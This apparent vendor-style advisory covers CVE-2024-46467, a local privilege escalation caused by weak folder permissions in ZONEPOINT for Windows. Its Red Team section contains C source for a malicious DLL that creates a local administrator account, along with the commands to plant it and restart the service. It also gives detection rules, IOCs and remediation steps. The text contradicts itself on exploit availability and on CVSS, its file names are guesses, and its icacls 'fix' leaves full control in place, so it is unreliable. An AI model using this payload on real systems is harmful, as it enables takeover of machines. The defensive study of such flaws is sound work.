CVE-2024-46467

Executive Summary

CVE-2024-46467 is a local privilege escalation vulnerability affecting ZONEPOINT for Windows up to version 2024.1. The vulnerability stems from insecure default permissions on dedicated folders, allowing non-privileged users to access and misuse technical files. By manipulating these files, an attacker can execute arbitrary tasks with higher privileges, effectively achieving privilege escalation. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but based on the impact, it is assessed as High severity. No public exploit code or proof-of-concept is available at this time. The vendor has not released a patch, but recommends modifying the configuration to restrict folder access.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary Windows application (ZONEPOINT). Supply chain risk is limited to the distribution of the ZONEPOINT installer itself; users should ensure they download from official sources only.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – Requires local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs a standard user account.
• User Interaction (UI): None (N) – No user action needed beyond initial access.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full access to sensitive files.
• Integrity (I): High (H) – Ability to modify files and execute code.
• Availability (A): High (H) – Potential to disrupt service or crash the application.

Threat Level: High (7.8) – Local privilege escalation with low complexity.

Deep Dive & Mechanics

The vulnerability exists because ZONEPOINT for Windows, by default, installs its dedicated folders with overly permissive access control lists (ACLs). These folders contain technical files (e.g., configuration files, scripts, executables, or DLLs) that are executed or loaded by the ZONEPOINT service, which runs with elevated privileges (e.g., SYSTEM or Administrator).

A low-privileged user can:

1. Identify the ZONEPOINT installation directory (typically C:\Program Files\ZONEPOINT\ or C:\ProgramData\ZONEPOINT\).
2. Check the permissions on subfolders (e.g., C:\ProgramData\ZONEPOINT\Data\).
3. If the folder is writable by the Users group, the attacker can replace or modify a technical file (e.g., a DLL or script) with a malicious payload.
4. When the ZONEPOINT service restarts or performs a scheduled task, it loads the malicious file, executing code with the service's high privileges.

This is a classic example of insecure default permissions (CWE-276). The attack does not require any user interaction beyond the initial compromise of a low-privileged account.

Vulnerable vs. Patched Code

Vulnerable Configuration (Default):

• Folder: C:\ProgramData\ZONEPOINT\Data\
• Permissions: BUILTIN\Users:(OI)(CI)(F) (Full Control for all users)
• This allows any user to read, write, and execute files in that folder.

Patched Configuration (Manual Fix):

• Folder: C:\ProgramData\ZONEPOINT\Data\
• Permissions: BUILTIN\Users:(OI)(CI)(RX) (Read & Execute only)
• Additionally, the folder should be owned by SYSTEM or Administrators, and write access should be restricted to SYSTEM and Administrators only.

No code patch is available from the vendor. The remediation is purely configuration-based.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Windows system with ZONEPOINT <= 2024.1 installed.
• A low-privileged user account (e.g., testuser).

Steps:

1. Identify writable folder:

   icacls "C:\ProgramData\ZONEPOINT\Data\"
   

   Look for BUILTIN\Users:(OI)(CI)(F).

2. Create a malicious DLL (e.g., evil.dll):

   // evil.c
   #include <windows.h>
   BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
       if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
           // Execute a command as SYSTEM
           system("cmd.exe /c net user attacker Password123! /add && net localgroup administrators attacker /add");
       }
       return TRUE;
   }
   

   Compile: x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c

3. Replace a legitimate DLL:

   • Identify a DLL that ZONEPOINT loads from the writable folder (e.g., helper.dll).
   • Backup the original: copy helper.dll helper.dll.bak
   • Overwrite: copy evil.dll helper.dll

4. Trigger execution:

   • Restart the ZONEPOINT service: sc stop ZONEPOINTService && sc start ZONEPOINTService
   • Or wait for a scheduled task.

5. Verify privilege escalation:

   whoami
   

   Should return NT AUTHORITY\SYSTEM.

Blue Team

Detection:

• Monitor for changes to ZONEPOINT installation folders (file creation/modification events).
• Use Sysmon Event ID 11 (FileCreate) and Event ID 2 (FileCreateStreamHash) for writable folders.
• Alert on any process spawning from ZONEPOINT.exe or its child processes that executes cmd.exe, powershell.exe, or net.exe.

Hunting:

• Query for processes with TokenElevationType == TokenElevationTypeFull and parent process ZONEPOINT.exe.
• Look for unexpected DLLs in C:\ProgramData\ZONEPOINT\Data\ that are not digitally signed.

Prevention:

• Apply the configuration fix immediately (see Remediation).
• Use AppLocker or Windows Defender Application Control (WDAC) to block unsigned DLLs.
• Enable Windows Defender Attack Surface Reduction (ASR) rules to block Office child processes and untrusted executables.

Indicators of Compromise (IOCs)

• File Paths:

  • C:\ProgramData\ZONEPOINT\Data\*.dll (any unsigned DLL)
  • C:\ProgramData\ZONEPOINT\Data\*.exe (any unsigned executable)
  • C:\ProgramData\ZONEPOINT\Data\*.ps1 (unexpected PowerShell scripts)

• Registry Keys:

  • HKLM\SOFTWARE\ZONEPOINT\* (modified by attacker)

• Processes:

  • ZONEPOINT.exe spawning cmd.exe, powershell.exe, net.exe, whoami.exe

• Network Connections:

  • Outbound connections from ZONEPOINT.exe to unknown IPs (if payload downloads additional tools)

• User Accounts:

  • Unexpected local users (e.g., attacker) in Administrators group.

Detection Engineering

YARA Rule

rule CVE_2024_46467_ZONEPOINT_Escalation {
    meta:
        description = "Detects malicious DLLs placed in ZONEPOINT data folder for privilege escalation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-46467"
    strings:
        $s1 = "ZONEPOINT" nocase
        $s2 = "Data" nocase
        $s3 = "DllMain" nocase
        $s4 = "system" nocase
        $s5 = "cmd.exe" nocase
    condition:
        (uint16(0) == 0x5A4D) and // MZ header
        all of ($s1, $s2) and
        1 of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2024-46467 - ZONEPOINT Privilege Escalation via Insecure Folder Permissions
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects file writes to ZONEPOINT data folder by non-admin users
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 11
        TargetFilename|startswith: 'C:\ProgramData\ZONEPOINT\Data\'
        User|endswith: 'Users'
    condition: selection
falsepositives:
    - Legitimate ZONEPOINT updates (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-46467 - ZONEPOINT Potential C2 Beacon"; flow:to_server,established; content:"ZONEPOINT"; nocase; content:"cmd.exe"; nocase; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict folder permissions:

   • Open C:\ProgramData\ZONEPOINT\Data\ (or the installation folder).
   • Right-click -> Properties -> Security -> Advanced.
   • Remove BUILTIN\Users and Everyone entries.
   • Add SYSTEM (Full Control) and Administrators (Full Control).
   • Add BUILTIN\Users with Read & Execute only (if needed for functionality).
   • Apply to all subfolders and files.

2. Verify permissions:

   icacls "C:\ProgramData\ZONEPOINT\Data\*" /grant "BUILTIN\Users:(RX)" /T
   icacls "C:\ProgramData\ZONEPOINT\Data\*" /grant "SYSTEM:(F)" /T
   icacls "C:\ProgramData\ZONEPOINT\Data\*" /grant "BUILTIN\Administrators:(F)" /T
   

3. Restart the ZONEPOINT service.

Long-term:

• Monitor vendor for an official patch.
• Implement least privilege principles for all application folders.
• Use Windows Defender Application Control (WDAC) to allow only signed binaries.
• Enable auditing for file writes to sensitive directories.

Workaround:

• If ZONEPOINT is not critical, consider disabling the service until a patch is available.

Valters IT